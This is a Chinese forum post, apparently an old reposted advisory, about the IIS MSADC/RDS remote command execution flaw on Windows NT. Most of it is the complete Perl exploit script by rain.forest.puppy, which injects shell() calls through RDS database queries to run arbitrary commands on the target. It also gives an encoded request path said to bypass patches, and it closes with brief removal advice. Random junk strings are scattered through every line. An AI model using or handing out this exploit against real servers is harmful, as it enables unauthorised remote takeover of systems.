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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 0w=R_C)s  
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涉及程序: LWnR?Qve<  
Microsoft NT server VT%:zf  
k; ZxY"^  
描述: 4x;_AN  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ;*2>ES  
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详细: lDxc`S  
如果你没有时间读详细内容的话,就删除:  :A1:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll  _; Y`  
有关的安全问题就没有了。 Iu[|<Cx  
T-_"|-k}P%  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 =(HeF.!  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 RY9V~8|M  
关于利用ODBC远程漏洞的描述,请参看: c{3wk7  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qS| \JG  
T>`74B:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Oz: *LZ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp KNLnn;l  
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这里不再论述。 a^U~0i@[S  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %McE` 155  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @p6<Lw_E  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! kM8{C w  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" p5r]J+1  
06q(aI^Ch@  
#!perl q 11IkDa  
# TS2ZF{m  
# MSADC/RDS 'usage' (aka exploit) script Uu 8,@W+  
# EJ@p-}I!  
# by rain.forest.puppy 4db(<h  
# o1cErI&q"  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ~Wo)?q8UY,  
# beta test and find errors! Y_woKc*  
-h|B1*mt  
use Socket; use Getopt::Std; !8NC# s  
getopts("e:vd:h:XR", \%args); G 0%6ch^%  
,'xYlH3s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; *37uy_EpV  
L>y J  
if (!defined $args{h} && !defined $args{R}) { W\&8au ds  
print qq~ x^4xq#Bb7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ZOCDA2e(j  
-h <host> = host you want to scan (ip or domain) }XO K,Hw  
-d <seconds> = delay between calls, default 1 second J &pO%Q=b  
-X = dump Index Server path table, if available FCi U  
-v = verbose .sC?7O =  
-e = external dictionary file for step 5 (8.Z..PH  
}J">}j]/  
Or a -R will resume a command session TJ q~)Bm  
+t5U.No  
~; exit;} >Cw<BIF  
&0 >Loja`^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; R}^~^#  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6f')6X'x  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "#[!/\=?:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )M6w5g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q8!) !r%  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $hivlI-7Ko  
)OiT{-m  
if (!defined $args{R}){ $ret = &has_msadc; b2b^1{@h;v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} o(DOQGl  
h 3]wL.V  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" I)A`)5="5  
. "cmd /c "; wiz$fj  
$in=<STDIN>; chomp $in; ]o cWt3|  
$command="cmd /c " . $in ; A C>`'Gx  
QFYWA1<pDh  
if (defined $args{R}) {&load; exit;} Ag{iq(X  
d&ex5CU5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^*P%=>zO  
&try_btcustmr; &|f@$ff  
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print "\nStep 2: Trying to make our own DSN..."; Hemq +]6^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; o.0ci+z@  
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print "\nStep 3: Trying known DSNs..."; G:~k.1y[  
&known_dsn; nqInb:  
GGnpjwXeH  
print "\nStep 4: Trying known .mdbs..."; \"X!2  
&known_mdb; Y.g59X!Ub2  
H&:jcgV*P  
if (defined $args{e}){ { ^cV lC_  
print "\nStep 5: Trying dictionary of DSN names..."; q Y#n'&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ?>I;34tL(  
^h69Kr#d4  
print "Sorry Charley...maybe next time?\n"; ZosP(Tdq  
exit; j#cYS*^H  
N[s}qmPha  
############################################################################## -$\+' \  
F(tx)V ~T3  
sub sendraw { # ripped and modded from whisker -r-k_6QP  
sleep($delay); # it's a DoS on the server! At least on mine... u(fm@+$^  
my ($pstr)=@_; !o:f$6EA~C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || D#3\y*-y?  
die("Socket problems\n"); 6@rMtQfI  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ney/[3 A  
select(S); $|=1; 8C*c{(4  
print $pstr; my @in=<S>; SHe49!RA'{  
select(STDOUT); close(S); z^'gx@YD*v  
return @in; S:h{2{  
} else { die("Can't connect...\n"); }} H Z'_r cv  
0u;4%}pD  
############################################################################## |Y?H A&  
nih0t^m'  
sub make_header { # make the HTTP request 19w*!FGX  
my $msadc=<<EOT 7Zlw^'q$:L  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ,P;Pm68V  
User-Agent: ACTIVEDATA Wk)OkIFR  
Host: $ip \O2Rhz  
Content-Length: $clen 3B84^>U<  
Connection: Keep-Alive *MKO I'  
OCNQvF~  
ADCClientVersion:01.06 G"h'_7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 o,_? ^'@  
n*2UnKaJ  
--!ADM!ROX!YOUR!WORLD! a{L d  
Content-Type: application/x-varg Lm%:K]X  
Content-Length: $reqlen kM,C3x{A  
be.*#[  
EOT bbE!qk;hEP  
; $msadc=~s/\n/\r\n/g; E7rDa1  
return $msadc;} P GqQ@6B  
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############################################################################## ,J+}rPe"sf  
Zy`m!]G]80  
sub make_req { # make the RDS request $g> IyT[  
my ($switch, $p1, $p2)=@_; :tV*7S=)  
my $req=""; my $t1, $t2, $query, $dsn; ]s<[D$ <,  
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if ($switch==1){ # this is the btcustmr.mdb query JMC. w!  
$query="Select * from Customers where City=" . make_shell(); '=b/6@&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . HiZ*+T.B  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} uXn1 'K<'2  
pM4 :#%V  
elsif ($switch==2){ # this is general make table query 8A##\j )  
$query="create table AZZ (B int, C varchar(10))"; l9{hq/V  
$dsn="$p1";} ~%&LTX0s|  
Kp%2k^U  
elsif ($switch==3){ # this is general exploit table query Cd#(X@n  
$query="select * from AZZ where C=" . make_shell(); 5?{ r  
$dsn="$p1";} ~vm%6CABM  
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elsif ($switch==4){ # attempt to hork file info from index server 9X}10u:  
$query="select path from scope()"; I|qo+u)  
$dsn="Provider=MSIDXS;";} (ZUHvvL  
P3x8UR=fS  
elsif ($switch==5){ # bad query 6' k<+IR  
$query="select"; =^M/{51j  
$dsn="$p1";} DX#Nf""Pw  
A8muQuj]~~  
$t1= make_unicode($query); "g5^_UP  
$t2= make_unicode($dsn); xQ7l~O b  
$req = "\x02\x00\x03\x00"; R@1xt@?  
$req.= "\x08\x00" . pack ("S1", length($t1)); D+lAhEN  
$req.= "\x00\x00" . $t1 ; <sb~ ^B  
$req.= "\x08\x00" . pack ("S1", length($t2)); =W(Q34  
$req.= "\x00\x00" . $t2 ; u-QB.iQ+s  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; G/)O@Ugp  
return $req;} )}Hpi<5N  
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############################################################################## t% d Z-Ym  
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sub make_shell { # this makes the shell() statement Ytn9B}%o  
return "'|shell(\"$command\")|'";} 94'&b=5+  
~[t[y~Hup  
############################################################################## c[0}AG J  
=9H7N]*h  
sub make_unicode { # quick little function to convert to unicode Kg{+T`  
my ($in)=@_; my $out; (p"%O  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } W: z6Koc0  
return $out;} .73X3`P25  
'g}!  
############################################################################## aC]$k'71  
Amtq"<h9a  
sub rdo_success { # checks for RDO return success (this is kludge) wW Lj?;bx  
my (@in) = @_; my $base=content_start(@in); u+9hL4  
if($in[$base]=~/multipart\/mixed/){ k R?qb6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1I%w?^sm_  
return 0;} /ixp&Z|7  
Akq2 d;  
############################################################################## NDN7[7E  
/!0={G  
sub make_dsn { # this makes a DSN for us =>m<GvQz  
my @drives=("c","d","e","f"); { a =#B)6  
print "\nMaking DSN: "; W_JlOc!y  
foreach $drive (@drives) { ld[I}88$  
print "$drive: "; 3/P1!:g9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . '+@=ILj>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" akmkyrz'&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #$.;'#u'so  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; KqHyG  
return 0 if $2 eq "404"; # not found/doesn't exist em y[k  
if($2 eq "200") { bTI|F]^!  
foreach $line (@results) { ?>VLTp8]  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} dB{Q" !  
} return 0;}  0HZ{Y9]  
!Lu2  
############################################################################## Fn wJ+GTu  
i}cRi&2[  
sub verify_exists { ncaT?~u j  
my ($page)=@_; atj(eg  
my @results=sendraw("GET $page HTTP/1.0\n\n"); x[cL Bc<  
return $results[0];} n'"/KS+_  
zrvF]|1UP  
############################################################################## )~X2 &^orW  
"fb[23g%@k  
sub try_btcustmr { N"Z{5A  
my @drives=("c","d","e","f"); G?yLo 'Ulo  
my @dirs=("winnt","winnt35","winnt351","win","windows"); irZ])a  
%[GsD9_-  
foreach $dir (@dirs) { ,>:U2%  
print "$dir -> "; # fun status so you can see progress 2_>N/Z4T  
foreach $drive (@drives) { {4l8}w  
print "$drive: "; # ditto _?nL+\'V  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; [|v][Hwv  
$reqlenlen=length( "$reqlen" ); \P[Y`LYL  
$clen= 206 + $reqlenlen + $reqlen; kBS9tKBWg  
q9B$" n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); QL(n} {.%  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Lw1Yvtn  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !n`fTK<$  
59LG{R2  
############################################################################## Usvl}{L[  
d z|or9&  
sub odbc_error { 28-RC>,@}  
my (@in)=@_; my $base; {$oj.V 4  
my $base = content_start(@in); &0d# Y]D4`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b 1c y$I  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e+EQ]<M  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  8$=n j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?d*z8w  
return $in[$base+4].$in[$base+5].$in[$base+6];} @@f"%2ZR[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; GC-5X`Sq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .e#w)K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} x[p|G5  
KR} ?H#%  
############################################################################## 9+|$$)  
Q3'llOx  
sub verbose { +w`2kv  
my ($in)=@_; jRa43ck  
return if !$verbose; ~g91Pr   
print STDOUT "\n$in\n";} #<fRE"v:Q  
ZtNN<7  
############################################################################## (g]!J_Z"  
cZ,b?I"Q%  
sub save { Xg6Jh``  
my ($p1, $p2, $p3, $p4)=@_; soxc0OlN  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; yxPazz  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2Ah#<k-gC;  
close OUT;} {p2!|A&a  
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############################################################################## RH W]Z Pr<  
AI2)g1m  
sub load { z^B,:5Tt  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; D\v+wp.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); h4gXvPS&r  
@p=<IN>; close(IN);  }FROB/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); r `=I  
$target= inet_aton($ip) || die("inet_aton problems"); '@v\{ l  
print "Resuming to $ip ..."; @?sRj&w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E:68?IJ  
if($p[1]==1) { @mCEHI{P  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "S[450%  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; yZY\MB/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i}f"yO+Q+  
if (rdo_success(@results)){print "Success!\n";} bL`TySX  
else { print "failed\n"; verbose(odbc_error(@results));}} LE Nq_@$  
elsif ($p[1]==3){ bIDj[-CDG  
if(run_query("$p[3]")){ _;S-x  
print "Success!\n";} else { print "failed\n"; }} >NV @R&  
elsif ($p[1]==4){ J3V= 46Yc  
if(run_query($drvst . "$p[3]")){ fUWG*o9  
print "Success!\n"; } else { print "failed\n"; }} ELoDd&d8  
exit;} !/b>sN}  
n` _{9R  
############################################################################## ,&A7iO  
dl)Y'DI  
sub create_table { mthA4sz  
my ($in)=@_; n&4N[Qlv,  
$reqlen=length( make_req(2,$in,"") ) - 28; C}j"Qi`  
$reqlenlen=length( "$reqlen" ); XX TL..  
$clen= 206 + $reqlenlen + $reqlen; K!%+0)A  
my @results=sendraw(make_header() . make_req(2,$in,"")); #lo6c;*m5  
return 1 if rdo_success(@results); KfEx"94  
my $temp= odbc_error(@results); verbose($temp); 0],r0  
return 1 if $temp=~/Table 'AZZ' already exists/; 1ba~SHi  
return 0;} 5DU6rks%  
=j_4S<  
############################################################################## %A/0 '  
1t~G|zhX  
sub known_dsn { n+9=1Oo"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Sv#XIMw{,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", A`$%SVgFV^  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^mDe08. %b  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); U$.@]F4&  
ek\ xx  
foreach $dSn (@dsns) { rU:`*b<  
print "."; DJ k/{Z:  
next if (!is_access("DSN=$dSn")); 5lmHotj#  
if(create_table("DSN=$dSn")){ _Ey9G  
print "$dSn successful\n"; _/$Bpr{R  
if(run_query("DSN=$dSn")){ (N6i4 g6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x /S}Q8!"}  
print "Something's borked. Use verbose next time\n";}}} print "\n";} sf qL|8  
\ a<h/4#|  
############################################################################## k,6f &#x  
/4V#C-  
sub is_access { t#})Awy^R  
my ($in)=@_; .V/Rfq  
$reqlen=length( make_req(5,$in,"") ) - 28; ::lKL  
$reqlenlen=length( "$reqlen" ); =[{i{x|Qz  
$clen= 206 + $reqlenlen + $reqlen; jXx<`I+]  
my @results=sendraw(make_header() . make_req(5,$in,"")); @f~RdO3  
my $temp= odbc_error(@results); [Td4K.c  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `pa!~|p  
return 0;} %D34/=(X  
KeB"D!={;  
############################################################################## WRbj01v  
HYZ5EV  
sub run_query { ItVWO:x&v  
my ($in)=@_; %6,SKg p  
$reqlen=length( make_req(3,$in,"") ) - 28; &X ):4  
$reqlenlen=length( "$reqlen" ); (O?.)jEW(.  
$clen= 206 + $reqlenlen + $reqlen; d#Y^>"|$.  
my @results=sendraw(make_header() . make_req(3,$in,"")); P>C~ i:4n  
return 1 if rdo_success(@results); z"L/G  
my $temp= odbc_error(@results); verbose($temp); W~; `WR;.  
return 0;} Lc,Pom  
~9]hV7y5C  
############################################################################## Qh3YJ=X&  
RDi]2  
sub known_mdb { o Q2Fjj  
my @drives=("c","d","e","f","g"); `Bp.RXsd*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); *uf'zQ<9  
my $dir, $drive, $mdb; 8 &LQzwa  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +b<FO+E_  
$E~`\o%Ev  
# this is sparse, because I don't know of many _\G"9,)u '  
my @sysmdbs=( "\\catroot\\icatalog.mdb", L|:`^M+^w  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", nZyX|SPk  
"\\system32\\certmdb.mdb", [Cz-i  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Q5`*3h6p=  
kQSy+q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /QWvW=F2<  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ay ;S4c/_  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", u@UMP@"#  
"\\cfusion\\cfapps\\security\\realm_.mdb", =,=A,kI[;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ?k&Vy  
"\\cfusion\\database\\cfexamples.mdb", L:j<c5  
"\\cfusion\\database\\cfsnippets.mdb", _x'6]f{n  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,X-bJA@(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F=e8IUr  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \BTODZ:h  
"\\cfusion\\database\\smpolicy.mdb", zuad~%D<I  
"\\cfusion\\database\cypress.mdb", 85:=4N%  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ?m}s4a  
"\\website\\cgi-win\\dbsample.mdb", 3>AMII  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", m)t;9J5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2j88<Yh]H  
); #these are just rk2j#>l$4  
foreach $drive (@drives) { 2d #1=+V  
foreach $dir (@dirs){ Smn;(K  
foreach $mdb (@sysmdbs) { A@[o;H}XP  
print "."; @ $ ;q ;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ]d0BN`*U.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^R7lom.  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ rdP[<Y9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4{U T!WIi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ?%-DfCS  
uM IIYS  
foreach $drive (@drives) { ThajHK|U  
foreach $mdb (@mdbs) { dO<ERY  
print "."; HZC"nb}r4  
if(create_table($drv . $drive . $dir . $mdb)){ x.!V^HQSN  
print "\n" . $drive . $dir . $mdb . " successful\n"; ZF9z~9  
if(run_query($drv . $drive . $dir . $mdb)){ ghG**3xr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \5:i;AE  
} else { print "Something's borked. Use verbose next time\n"; }}}} zm5]J  
} vjGo;+K  
|O\s|H  
############################################################################## df4A RP+  
 F2LLN  
sub hork_idx { :Uzm  
print "\nAttempting to dump Index Server tables...\n"; M#4p E_G  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 30#s aGV  
$reqlen=length( make_req(4,"","") ) - 28; /tx]5`#@7]  
$reqlenlen=length( "$reqlen" ); TOB-aAO  
$clen= 206 + $reqlenlen + $reqlen; I(L,8n5  
my @results=sendraw2(make_header() . make_req(4,"","")); J s@hLP `  
if (rdo_success(@results)){ pk$l+sNZ=  
my $max=@results; my $c; my %d; SumF  2  
for($c=19; $c<$max; $c++){ OUPUixz2Z  
$results[$c]=~s/\x00//g; ~S"+S/z/k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; A Ru2W1g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2 /\r)$ 2i  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ArI2wM/v  
$d{"$1$2"}="";} ~F|+o}a `  
foreach $c (keys %d){ print "$c\n"; } y1eW pPJa  
} else {print "Index server doesn't seem to be installed.\n"; }} [2!w_Iw'  
<e=#F-DE  
############################################################################## +K:Dx!9  
D09Sg%w  
sub dsn_dict { EPI4!3]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); #C74z$  
while(<IN>){ Z*]9E^  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; n`?aC|P2s  
next if (!is_access("DSN=$dSn")); 1y@i}<9F  
if(create_table("DSN=$dSn")){ ;40/yl3r3[  
print "$dSn successful\n"; Fx_z6a  
if(run_query("DSN=$dSn")){ sk<3`x+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |PCm01NU!  
print "Something's borked. Use verbose next time\n";}}} )np:lL$$  
print "\n"; close(IN);} :1. L}4"gg  
shy-Gu&  
############################################################################## v!-/&}W)1  
36&e.3/#  
sub sendraw2 { # ripped and modded from whisker 1Ti f{i,B  
sleep($delay); # it's a DoS on the server! At least on mine... F3[T.sf  
my ($pstr)=@_; ^+>laOzC`8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .GP T!lDc  
die("Socket problems\n"); YNyk1cE  
if(connect(S,pack "SnA4x8",2,80,$target)){  j|DsG,  
print "Connected. Getting data"; ` xEx^P^7  
open(OUT,">raw.out"); my @in; $kdB |4C  
select(S); $|=1; print $pstr; g#pr yYz  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} FBe;1OU  
close(OUT); select(STDOUT); close(S); return @in; #_ ;lf1x!  
} else { die("Can't connect...\n"); }} "yy5F>0Wt  
>-RQ]?^  
############################################################################## ~OYiq}g  
x*\Y)9Vgy  
sub content_start { # this will take in the server headers { =9,n\85#  
my (@in)=@_; my $c; zOAd~E  
for ($c=1;$c<500;$c++) { %8B}Cb&2c  
if($in[$c] =~/^\x0d\x0a/){ A7Cm5>Y_S  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } kYP#SH/  
else { return $c+1; }}} Ytp(aE:  
return -1;} # it should never get here actually #1A.?p  
2G & a{  
############################################################################## d=$Mim  
"+R+6<"  
sub funky { PfAgM1   
my (@in)=@_; my $error=odbc_error(@in); 7FP*oN?  
if($error=~/ADO could not find the specified provider/){ $D~0~gn~  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 6m/r+?'  
exit;} U/66L+1  
if($error=~/A Handler is required/){ [x=s(:qy  
print "\nServer has custom handler filters (they most likely are patched)\n"; :(U ,x<>  
exit;} Fo (fWvz  
if($error=~/specified Handler has denied Access/){ hlvK5Z   
print "\nServer has custom handler filters (they most likely are patched)\n"; Jc&{`s^Nu  
exit;}} x$A+lj]x  
xA2YG|RU=b  
############################################################################## EqkN3%IG  
c)6m$5]  
sub has_msadc { .O5Z8 p  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); pGP7nw_g  
my $base=content_start(@results); jh?H.;**  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y #ap*  
return 0;} :DK {Vg6  
8?B!2  
######################## !]A  
0I-9nuw,^;  
('4_ xOb  
解决方案: [NjXO`5#]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll k{R>  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 y>8sZuH0  
W]$w@.oW[  
拿出来充数 哈哈
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